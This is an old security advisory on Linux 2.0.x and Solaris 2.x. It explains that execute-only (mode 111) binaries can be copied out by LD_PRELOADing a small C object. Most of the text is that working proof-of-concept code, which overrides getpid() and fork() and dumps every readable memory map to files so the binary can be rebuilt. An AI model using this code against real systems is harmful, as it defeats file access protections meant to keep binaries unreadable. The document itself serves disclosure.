COMMAND
kernel
SYSTEMS AFFECTED
Linux 2.0.x, Solaris 2.x
PROBLEM
David Luyer found following. The following file can be
LD_PRELOAD'ed against a mode 111 (--x--x--x) binary on Linux
2.0.x. It will dump the binary to a series of process-dump-...
files in the current directory. The executable itself can be
recovered by catting the first few files together and truncating
at the executable size. This was tested by reconstructing a copy
of /bin/cat which was protected mode 111 under Linux 2.0.x (tested
up to 2.0.35 and ld.so 2.0.7). YOU CAN ONLY DO THIS FOR NON
SETUID APPLICATIONS. Execute only is an extremely vague concept
anyway on x86 since the chip doesnt really support it physically.
Solaris has the same "problem" and it's hard to say is it a bug or
not. Also, filesystems like NFS make no distinction between
read-for-execute or read-for-reading. Solaris /proc disallows
access to execute only binaries, but its LD_PRELOAD and also
LD_LIBRARY_PATH have the exact same problem. LD_LIBRARY_PATH is
somewhat trickier to abuse as it requires you to build an entire
library and not just an object with a few replacement function,
although you might get very far by just using a .init section and
little substance.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static char * filename = "process-dump-%04x-%08lx:%08lx";
static int ___mypid = 0;
void ___dump_memory() {
FILE *f, *maps;
char str[80], c, *fname;
unsigned long fr, to;
maps = fopen("/proc/self/maps", "r");
while (fgets(str, 80, maps) != NULL) {
if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) {
fprintf(stderr, "bad /proc/maps line: %s\n", str);
continue;
}
if(c != 'r') {
fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to);
continue;
}
if((to - fr) % 4096) {
fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to);
}
fname = malloc(strlen(filename) + 9);
sprintf(fname, filename, ___mypid, fr, to);
unlink(fname);
f = fopen(fname, "w");
fwrite((void *)fr, (to - fr)/4096, 4096, f);
fclose(f);
}
fclose(maps);
}
int getpid() {
/* override getpid() since this is called in most process startup */
if(!___mypid) {
___mypid = __getpid();
___dump_memory();
}
return ___mypid;
}
int fork() {
/* make sure getpid() returns correct value after fork() */
int i;
if((i = __fork()) && i != -1)
___mypid = i;
return i;
}
int clone() {
/* I couldn't be bothered... */
fputs("sorry this preload does not support clone()\n", stderr);
return -1;
}
SOLUTION
This problem was noticed after Andreas Kies pointed out that you
can strace a mode 111 (--x--x--x) binary on Linux 2.0.x. His
patch for that problem can be found in the linux-kernel archives.